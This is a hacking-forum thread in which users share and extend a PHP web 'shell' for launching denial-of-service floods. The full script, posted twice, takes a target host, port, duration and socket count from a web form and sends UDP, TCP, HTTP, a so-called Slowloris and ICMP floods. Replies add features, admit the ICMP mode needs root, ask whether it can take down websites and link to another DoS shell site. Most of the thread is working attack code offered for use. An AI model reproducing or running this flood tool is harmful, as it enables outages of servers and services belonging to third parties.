Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

PHP 

Drk's MultiShell(UDP/TCP/HTTP/Slowloris) (MultiSocket)

(Dec 14, 2010 11:22 PM)Fizzix Wrote:  Bookmarking this, so I can quote it...

Love you too, baby gurl <3
ayyyy lmao.
Nice share, i will kinda test this.
I have no idea why my post was deleted but: haven't you ever heard of select(...)?
Your thread title says "multisocket"

I see that it still only consumes one socket at a time.
still lurkin. still bitcoin cashin.
my improvements:
Code
<title> DrkShotz MultiShell </title>
<html>
<body>
<center>
<font color="#FEFDFF">
<STYLE>
input{
background-color: #FEFDFF; font-size: 9pt; color: black; font-family: Tahoma; border: 1 solid #66;
}
button{
background-color: #FEFDFF; font-size: 8pt; color: white; font-family: Tahoma; border: 1 solid #66;
}
body {
background-color: black;
}
</style>

<?php
function ping($host, $timeout = 1) {
    /* ICMP ping packet with a pre-calculated checksum */
    $package = "\x08\x00\x7d\x4b\x00\x00\x00\x00PingHost";
    $socket  = socket_create(AF_INET, SOCK_RAW, 1);
    socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array('sec' => $timeout, 'usec' => 0));
    socket_connect($socket, $host, null);

    $ts = microtime(true);
    socket_send($socket, $package, strLen($package), 0);
    if (socket_read($socket, 255))
    $result = microtime(true) - $ts;
    else    $result = false;
    socket_close($socket);

    return $result;
  }
/**
* @author DrkShotz
* @copyright 2010
*/

if (isset($_GET['host']) && isset($_GET['time']))
{
    ignore_user_abort(true);
    set_time_limit(0);
    $exec_time = $_GET['time'];
    if(strstr($_GET['host'],"www")) {

    $ip = gethostbyname($_GET['host']);
} else {
$ip = $_GET['host'];
}
    $tmm = $_GET['time'];
    $dostype = $_GET['type'];
    $packets = 0;
    $port = $_GET['port'];
    $socket = $_GET['sockets'];
    $time = time();
    $max_time = $time + $exec_time;

    if ($dostype == '1')
    {
  $floodtype = 'UDP';
  $out = array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
    'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2',
    '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I',
    'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y',
    'Z');
  $length = count($out) - 1;
  for ($i = 0; $i < 65000; $i++)
  {
    $out .= $out[rand(0, $length)];
  }

  while (1)
  {
    if (time() > $max_time)
    {
    break;
    }
    ;
    for ($i = 0; $i < $socket; $i++)
    {
    if (time() > $max_time)
    {
    break;
    }
    ;

    $fp = fsockopen('udp://' . $ip, $port, $errno, $errstr, 150);
    if ($fp)
    {
    fwrite($fp, $out);

    fclose($fp);
    $packets++;
    }
    }
  }
    }
    ;

    if ($dostype == '2')
  {
  $floodtype = 'TCP';
  $out = array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
    'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2',
    '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I',
    'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y',
    'Z');
  $length = count($out) - 1;
  for ($i = 0; $i < 65000; $i++)
  {
    $out .= $out[rand(0, $length)];
  }

  while (1)
  {
    if (time() > $max_time)
    {
    break;
    }
    ;
    for ($i = 0; $i < $socket; $i++)
    {
    if (time() > $max_time)
    {
    break;
    }
    ;

    $fp = fsockopen('tcp://' . $ip, $port, $errno, $errstr, 150);
    if ($fp)
    {
    fwrite($fp, $out);

    fclose($fp);
    $packets++;
    }
    }
  }
    }
    ;

    if ($dostype == '3')
    {
  $floodtype = 'HTTP';
  $out = "GET / HTTP/1.1\r\n";
  $out .= "Host: " . $ip . "\r\n";
  $out .= "Accept: */*\r\n";
    {

  while (1)
  {
    if (time() > $max_time)
    {
    break;
    }
    ;
    for ($i = 0; $i < $socket; $i++)
    {
    if (time() > $max_time)
    {
    break;
    }
    ;

    $fp = fsockopen($ip, 80, $errno, $errstr, 150);
    if ($fp)
    {
    fwrite($fp, $out);

    fclose($fp);
    $packets++;
    }
    }
  }
    }
    }
    ;

    if ($dostype == '4')
    {
  $floodtype = 'Slowloris';
  $out = "POST / HTTP/1.1\r\n";
  $out .= "Host: " . $ip . "\r\n";
  $out .= "Content-Length: 1\r\n\r\n";
  $out .= "X";
  while (1)
  {
    if (time() > $max_time)
    {
    break;
    }
    ;

    for ($i = 0; $i < $socket; $i++)
    {
    if (time() > $max_time)
    {
    break;
    }
    ;

    $fp = fsockopen($ip, 80, $errno, $errstr, 150);
    if ($fp)
    {
    fwrite($fp, $out);

    fclose($fp);
    $packets++;
    }
    }
  }
    }
    ;

if ($dostype == '5')
    {
  $floodtype = 'ICMP';

  while (1)
  {
    if (time() > $max_time)
    {
    break;
    }
    ;

    for ($i = 0; $i < $socket; $i++)
    {
    if (time() > $max_time)
    {
    break;
    }
    ;

ping($ip,500);
    $packets++;

    }
  }
    }
    ;

    echo 'DrkShotz MultiShell';
    echo '<form action=? method=GET>
    <input type="hidden" name="dos" value="true">
    slave: <br><input type=text name=host value=><br>
    Port: <br><input type=text name=port value=><br>
    Length (seconds): <br><input type=text name=time value=><br>
    Sockets: <br><input type=text name=sockets value=><br>
    Type of flood:<br>
    <select name="type">
    <option value="1" selected>UDP</option>
    <option value="2">TCP</option>
    <option value="3">HTTP</option>
    <option value="4">Slowloris</option>
    <option value="5">ICMP</option>
    </select>
    <br><br>
    <input type=submit value=Go></form>';
    echo '<b>' . $floodtype . ' Flood Stats Report For Address: ' . $ip . '</b><br>';
    echo 'Your IP: ' . getenv("REMOTE_ADDR") . '<br>';
    echo 'Packets Sent : ' . $packets . '<br>';
    echo 'Average Packets/S: ' . round($packets / $tmm, 2) . '<br>';
    echo 'Time of DoS: ' . $tmm . '<br>';

} else
{
    echo 'DrkShotz MultiShell';
    echo '<form action=? method=GET>
    <input type="hidden" name="dos" value="true">
    slave: <br><input type=text name=host value=><br>
    Port: <br><input type=text name=port value=><br>
    Length (seconds): <br><input type=text name=time value=><br>
    Sockets: <br><input type=text name=sockets value=><br>
    Type of flood:<br>
    <select name="type">
    <option value="1" selected>UDP</option>
    <option value="2">TCP</option>
    <option value="3">HTTP</option>
    <option value="4">Slowloris</option>
    <option value="5">ICMP</option>
    </select>
    <br><br>
    <input type=submit value=Go></form>';
}
;

?>
</center>
</body>
</html>

-icmp flood (i know its weak but you can check if the server is online (value=5))
-gethostbyaddress (checks if your host cotains www and changes the format to an ip adresse)
(Dec 16, 2010 10:31 AM)unknown123456 Wrote:  my improvements:
Code
<title> DrkShotz MultiShell </title>
<html>
<body>
<center>
<font color="#FEFDFF">
<STYLE>
input{
background-color: #FEFDFF; font-size: 9pt; color: black; font-family: Tahoma; border: 1 solid #66;
}
button{
background-color: #FEFDFF; font-size: 8pt; color: white; font-family: Tahoma; border: 1 solid #66;
}
body {
background-color: black;
}
</style>

<?php
function ping($host, $timeout = 1) {
    /* ICMP ping packet with a pre-calculated checksum */
    $package = "\x08\x00\x7d\x4b\x00\x00\x00\x00PingHost";
    $socket  = socket_create(AF_INET, SOCK_RAW, 1);
    socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array('sec' => $timeout, 'usec' => 0));
    socket_connect($socket, $host, null);

    $ts = microtime(true);
    socket_send($socket, $package, strLen($package), 0);
    if (socket_read($socket, 255))
    $result = microtime(true) - $ts;
    else    $result = false;
    socket_close($socket);

    return $result;
  }
/**
* @author DrkShotz
* @copyright 2010
*/

if (isset($_GET['host']) && isset($_GET['time']))
{
    ignore_user_abort(true);
    set_time_limit(0);
    $exec_time = $_GET['time'];
    if(strstr($_GET['host'],"www")) {

    $ip = gethostbyname($_GET['host']);
} else {
$ip = $_GET['host'];
}
    $tmm = $_GET['time'];
    $dostype = $_GET['type'];
    $packets = 0;
    $port = $_GET['port'];
    $socket = $_GET['sockets'];
    $time = time();
    $max_time = $time + $exec_time;

    if ($dostype == '1')
    {
  $floodtype = 'UDP';
  $out = array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
    'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2',
    '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I',
    'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y',
    'Z');
  $length = count($out) - 1;
  for ($i = 0; $i < 65000; $i++)
  {
    $out .= $out[rand(0, $length)];
  }

  while (1)
  {
    if (time() > $max_time)
    {
    break;
    }
    ;
    for ($i = 0; $i < $socket; $i++)
    {
    if (time() > $max_time)
    {
    break;
    }
    ;

    $fp = fsockopen('udp://' . $ip, $port, $errno, $errstr, 150);
    if ($fp)
    {
    fwrite($fp, $out);

    fclose($fp);
    $packets++;
    }
    }
  }
    }
    ;

    if ($dostype == '2')
  {
  $floodtype = 'TCP';
  $out = array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
    'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2',
    '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I',
    'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y',
    'Z');
  $length = count($out) - 1;
  for ($i = 0; $i < 65000; $i++)
  {
    $out .= $out[rand(0, $length)];
  }

  while (1)
  {
    if (time() > $max_time)
    {
    break;
    }
    ;
    for ($i = 0; $i < $socket; $i++)
    {
    if (time() > $max_time)
    {
    break;
    }
    ;

    $fp = fsockopen('tcp://' . $ip, $port, $errno, $errstr, 150);
    if ($fp)
    {
    fwrite($fp, $out);

    fclose($fp);
    $packets++;
    }
    }
  }
    }
    ;

    if ($dostype == '3')
    {
  $floodtype = 'HTTP';
  $out = "GET / HTTP/1.1\r\n";
  $out .= "Host: " . $ip . "\r\n";
  $out .= "Accept: */*\r\n";
    {

  while (1)
  {
    if (time() > $max_time)
    {
    break;
    }
    ;
    for ($i = 0; $i < $socket; $i++)
    {
    if (time() > $max_time)
    {
    break;
    }
    ;

    $fp = fsockopen($ip, 80, $errno, $errstr, 150);
    if ($fp)
    {
    fwrite($fp, $out);

    fclose($fp);
    $packets++;
    }
    }
  }
    }
    }
    ;

    if ($dostype == '4')
    {
  $floodtype = 'Slowloris';
  $out = "POST / HTTP/1.1\r\n";
  $out .= "Host: " . $ip . "\r\n";
  $out .= "Content-Length: 1\r\n\r\n";
  $out .= "X";
  while (1)
  {
    if (time() > $max_time)
    {
    break;
    }
    ;

    for ($i = 0; $i < $socket; $i++)
    {
    if (time() > $max_time)
    {
    break;
    }
    ;

    $fp = fsockopen($ip, 80, $errno, $errstr, 150);
    if ($fp)
    {
    fwrite($fp, $out);

    fclose($fp);
    $packets++;
    }
    }
  }
    }
    ;

if ($dostype == '5')
    {
  $floodtype = 'ICMP';

  while (1)
  {
    if (time() > $max_time)
    {
    break;
    }
    ;

    for ($i = 0; $i < $socket; $i++)
    {
    if (time() > $max_time)
    {
    break;
    }
    ;

ping($ip,500);
    $packets++;

    }
  }
    }
    ;

    echo 'DrkShotz MultiShell';
    echo '<form action=? method=GET>
    <input type="hidden" name="dos" value="true">
    slave: <br><input type=text name=host value=><br>
    Port: <br><input type=text name=port value=><br>
    Length (seconds): <br><input type=text name=time value=><br>
    Sockets: <br><input type=text name=sockets value=><br>
    Type of flood:<br>
    <select name="type">
    <option value="1" selected>UDP</option>
    <option value="2">TCP</option>
    <option value="3">HTTP</option>
    <option value="4">Slowloris</option>
    <option value="5">ICMP</option>
    </select>
    <br><br>
    <input type=submit value=Go></form>';
    echo '<b>' . $floodtype . ' Flood Stats Report For Address: ' . $ip . '</b><br>';
    echo 'Your IP: ' . getenv("REMOTE_ADDR") . '<br>';
    echo 'Packets Sent : ' . $packets . '<br>';
    echo 'Average Packets/S: ' . round($packets / $tmm, 2) . '<br>';
    echo 'Time of DoS: ' . $tmm . '<br>';

} else
{
    echo 'DrkShotz MultiShell';
    echo '<form action=? method=GET>
    <input type="hidden" name="dos" value="true">
    slave: <br><input type=text name=host value=><br>
    Port: <br><input type=text name=port value=><br>
    Length (seconds): <br><input type=text name=time value=><br>
    Sockets: <br><input type=text name=sockets value=><br>
    Type of flood:<br>
    <select name="type">
    <option value="1" selected>UDP</option>
    <option value="2">TCP</option>
    <option value="3">HTTP</option>
    <option value="4">Slowloris</option>
    <option value="5">ICMP</option>
    </select>
    <br><br>
    <input type=submit value=Go></form>';
}
;

?>
</center>
</body>
</html>

-icmp flood (i know its weak but you can check if the server is online (value=5))
-gethostbyaddress (checks if your host cotains www and changes the format to an ip adresse)

thanks for the added flood :) Ill be sure to add this option to the client :)
Problem with the icmp flood is that it requires root, not that OP would know that.
still lurkin. still bitcoin cashin.
lets share some shells heres one

http://xionsdos.p4o.net/
Prety nice share :) :) Thanks :P
(Dec 16, 2010 10:18 PM)Orgy Wrote:  Problem with the icmp flood is that it requires root, not that OP would know that.

For your info I never had experence with pinging in php
(Dec 18, 2010 07:05 AM)drkshotz Wrote:  For your info I never had experence with pinging in php

Its not so much that its pinging, its that it requires a raw socket. Raw sockets require root.
still lurkin. still bitcoin cashin.
does this work to DDOS websites?
Utsuro no Hako to Zero no Maria is a masterpiece 10/10


[Image: OXZhpFs.png]


( ͡° ͜ʖ ͡°)
( ͡⊙ ͜ʖ ͡⊙)
( ͡◉ ͜ʖ ͡◉)
Looking again, your slowloris isn't even slowloris. id be amazed if it worked at all
still lurkin. still bitcoin cashin.
What will this be used like?
shell.php?act=phptoolshost=IP&port=PORT?
can i get a copy? thanks :)


Possibly Related Threads...
Thread / Author Replies Views Last Post
[PHP] by ReaganJan 20, 2017 03:45 PM 8 785 Jan 20, 2017 03:45 PM
Last Post: LS RX7
[PHP] by LifeplayingSep 11, 2015 09:13 AM 0 591 Sep 11, 2015 09:13 AM
Last Post: Lifeplaying
[PHP] by DistrictSep 16, 2014 05:00 PM 6 206 Sep 16, 2014 05:00 PM
Last Post: +Haze